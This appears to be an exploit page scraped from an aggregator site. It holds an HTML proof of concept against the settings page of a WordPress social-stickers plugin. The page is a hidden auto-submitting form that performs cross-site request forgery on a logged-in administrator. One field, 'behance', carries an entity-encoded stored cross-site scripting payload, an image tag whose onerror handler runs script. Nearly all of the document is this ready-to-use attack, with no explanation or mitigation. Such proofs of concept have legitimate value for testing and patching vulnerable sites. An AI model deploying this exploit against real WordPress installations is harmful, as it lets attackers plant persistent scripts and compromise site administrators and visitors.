Share 
## https://sploitus.com/exploit?id=WPEX-ID:3851E61E-F462-4259-AF0A-8D832809D559
<html>
<body>
<script>history.pushState('', '', '/')</script>

<form action="http://localhost/wordpress/wp-admin/options-general.php?page=social-
stickers%2Fsocial-stickers.php&tab=social_networks" method="POST">

<input type="hidden" name="aim" value="" />

<input type="hidden" name="behance"
value="hello&#32;&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;9
&#41;&gt;" />
<input type="hidden" name="bebo" value="" />
<input type="hidden" name="blogger" value="" />
<input type="hidden" name="delicious" value="" />
<input type="hidden" name="designfloat" value="" />
<input type="hidden" name="deviantart" value="" />
<input type="hidden" name="digg" value="" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="flickr" value="" />
<input type="hidden" name="facebook" value="" />
<input type="hidden" name="googleplus" value="" />
<input type="hidden" name="lastfm" value="" />
<input type="hidden" name="linkedin" value="" />
<input type="hidden" name="myspace" value="" />
<input type="hidden" name="newsvine" value="" />
<input type="hidden" name="picasa" value="" />
<input type="hidden" name="posterous" value="" />
<input type="hidden" name="rss" value="" />
<input type="hidden" name="qik" value="" />
<input type="hidden" name="slashdot" value="" />
<input type="hidden" name="skype" value="" />
<input type="hidden" name="stumbleupon" value="" />
<input type="hidden" name="tumblr" value="" />
<input type="hidden" name="twitter" value="" />
<input type="hidden" name="vimeo" value="" />
<input type="hidden" name="youtube" value="" />
<input type="hidden" name="wordpress" value="" />
<input type="hidden" name="Submit" value="Update&#32;usernames" />
<input type="hidden" name="social&#45;stickers&#45;settings&#45;submit" value="Y" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>